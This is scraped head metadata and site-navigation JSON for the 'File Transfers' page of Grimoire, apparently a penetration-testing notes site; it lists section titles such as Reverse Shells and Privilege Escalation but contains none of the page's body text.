property=\"og:type\" content=\"website\">\u003cmeta data-mint-head property=\"og:image\" content=\"https://grimoire.mintlify.site/_mintlify/api/og/v2?division=File+Transfers\u0026amp;title=File+Transfers\u0026amp;theme=fe24e47f65d357b0ae86cf31\u0026amp;signature=e2a2ba8e94756e58b7fdb1129dfd4e1a58fc3b8ae9cd2971327a376a6bc380b5\">\u003cmeta data-mint-head property=\"og:image:width\" content=\"1200\">\u003cmeta data-mint-head property=\"og:image:height\" content=\"630\">\u003cmeta data-mint-head name=\"twitter:card\" content=\"summary_large_image\">\u003cmeta data-mint-head name=\"twitter:title\" content=\"File Transfers - Grimoire\">\u003cmeta data-mint-head name=\"twitter:image\" content=\"https://grimoire.mintlify.site/_mintlify/api/og/v2?division=File+Transfers\u0026amp;title=File+Transfers\u0026amp;theme=fe24e47f65d357b0ae86cf31\u0026amp;signature=e2a2ba8e94756e58b7fdb1129dfd4e1a58fc3b8ae9cd2971327a376a6bc380b5\">\u003cmeta data-mint-head name=\"twitter:image:width\" content=\"1200\">\u003cmeta data-mint-head name=\"twitter:image:height\" content=\"630\">\u003cmeta data-mint-head name=\"msapplication-config\" content=\"/mintlify-assets/_mintlify/favicons/grimoire/XGN-0UjePkg-Ehxs/_generated/favicon/browserconfig.xml\">\u003cmeta data-mint-head name=\"apple-mobile-web-app-title\" content=\"Grimoire\">\u003cmeta data-mint-head name=\"msapplication-TileColor\" content=\"#15803d\">\u003clink data-mint-head rel=\"canonical\" href=\"https://notes.chaelsoo.me/file-transfers\">\u003clink data-mint-head rel=\"alternate\" type=\"application/xml\" href=\"/sitemap.xml\">\u003clink data-mint-head rel=\"alternate\" type=\"text/markdown\" href=\"/file-transfers.md\">\u003cscript data-mint-head type=\"application/ld+json\">{\"@context\":\"https://schema.org\",\"@graph\":[{\"@type\":\"Organization\",\"@id\":\"https://notes.chaelsoo.me/#organization\",\"name\":\"Grimoire\",\"url\":\"https://notes.chaelsoo.me\"},{\"@type\":\"WebSite\",\"@id\":\"https://notes.chaelsoo.me#website\",\"name\":\"Grimoire\",\"url\":\"https://notes.chaelsoo.me\",\"publisher\":{\"@id\":\"https://notes.chaelsoo.me/#organization\"}},{\"@type\":\"WebPage\",\"@id\":\"https://notes.chaelsoo.me/file-transfers#webpage\",\"url\":\"https://notes.chaelsoo.me/file-transfers\",\"name\":\"File Transfers\",\"dateModified\":\"2026-09-18T06:38:26.113Z\",\"isPartOf\":{\"@id\":\"https://notes.chaelsoo.me#website\"},\"breadcrumb\":{\"@id\":\"https://notes.chaelsoo.me/file-transfers#breadcrumb\"}},{\"@type\":\"BreadcrumbList\",\"@id\":\"https://notes.chaelsoo.me/file-transfers#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Grimoire\",\"item\":\"https://notes.chaelsoo.me\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"File Transfers\",\"item\":\"https://notes.chaelsoo.me/file-transfers\"}]},{\"@type\":[\"Article\",\"TechArticle\"],\"@id\":\"https://notes.chaelsoo.me/file-transfers#article\",\"headline\":\"File Transfers\",\"name\":\"File Transfers\",\"url\":\"https://notes.chaelsoo.me/file-transfers\",\"mainEntityOfPage\":{\"@id\":\"https://notes.chaelsoo.me/file-transfers#webpage\"},\"dateModified\":\"2026-09-18T06:38:26.113Z\",\"publisher\":{\"@id\":\"https://notes.chaelsoo.me/#organization\"},\"isPartOf\":{\"@id\":\"https://notes.chaelsoo.me#website\"}}]}\u003c/script>\u003cscript data-mint-head type=\"application/ld+json\">{\"@context\":\"https://schema.org\",\"@type\":\"WebSite\",\"name\":\"Grimoire\",\"publisher\":{\"@type\":\"Organization\",\"name\":\"Grimoire\"},\"provider\":{\"@type\":\"Organization\",\"name\":\"Mintlify\",\"url\":\"https://mintlify.com\"}}\u003c/script>","agentPointerHref":"/file-transfers.md","siteName":"Grimoire","nav":{"global":null,"tabs":[{"tab":"Methodology \u0026 Assessments","icon":"alien-monster","pages":[{"title":"Methodology \u0026 Assessments","href":"/methodology"}]},{"tab":"Web","icon":"webhook","pages":[{"title":"Web","href":"/web"}]},{"tab":"Infrastructure","icon":"redhat","groups":[{"group":"Linux","icon":"linux","pages":[{"title":"Linux","sidebarTitle":"Overview","href":"/linux"},{"title":"Linux Privilege Escalation","href":"/linux/privesc"},{"title":"Linux Post Exploitation","href":"/linux/postex"},{"title":"Docker","href":"/linux/docker"},{"title":"awk","href":"/linux/awk"},{"title":"Bash Scripting","href":"/linux/bash-scripting"}]},{"group":"Windows","icon":"windows","pages":[{"title":"Windows","sidebarTitle":"Overview","href":"/windows/index"},{"title":"Windows Privilege Escalation","href":"/windows/privesc/privesc"},{"title":"Windows Post Exploitation","href":"/windows/postex/postex"}]},{"group":"Pivoting","icon":"table-pivot","pages":[{"title":"Pivoting \u0026 Tunneling","sidebarTitle":"Overview","href":"/pivoting/index"},{"title":"Ligolo-ng","href":"/pivoting/ligolo"},{"title":"Chisel","href":"/pivoting/chisel"},{"title":"Proxychains","href":"/pivoting/proxychains"}]},{"group":"Reverse Shells","icon":"plug","pages":[{"title":"Reverse Shells","description":null,"href":"/shells"}]},{"group":"File Transfers","icon":"money-bill-transfer","pages":[{"title":"File Transfers","href":"/file-transfers"}]}]},{"tab":"C2 \u0026 Frameworks","icon":"terminal","pages":[{"title":"C2 \u0026 Frameworks","href":"/tools/sliver"}]},{"tab":"Recon \u0026 Tools","icon":"stool","pages":[{"title":"Recon \u0026 Tools","href":"/recon"}]},{"tab":"Active Directory","icon":"ad","pages":[{"title":"Active Directory","href":"/active-directory"}]}]},"basePath":"","title":"File Transfers - Grimoire","deploymentId":"dpl_Em2U4NQQ2N2DE3HPbPUJVZLnAtvc","buildId":"dpl_Em2U4NQQ2N2DE3HPbPUJVZLnAtvc","dynamics":[],"chunks":[]}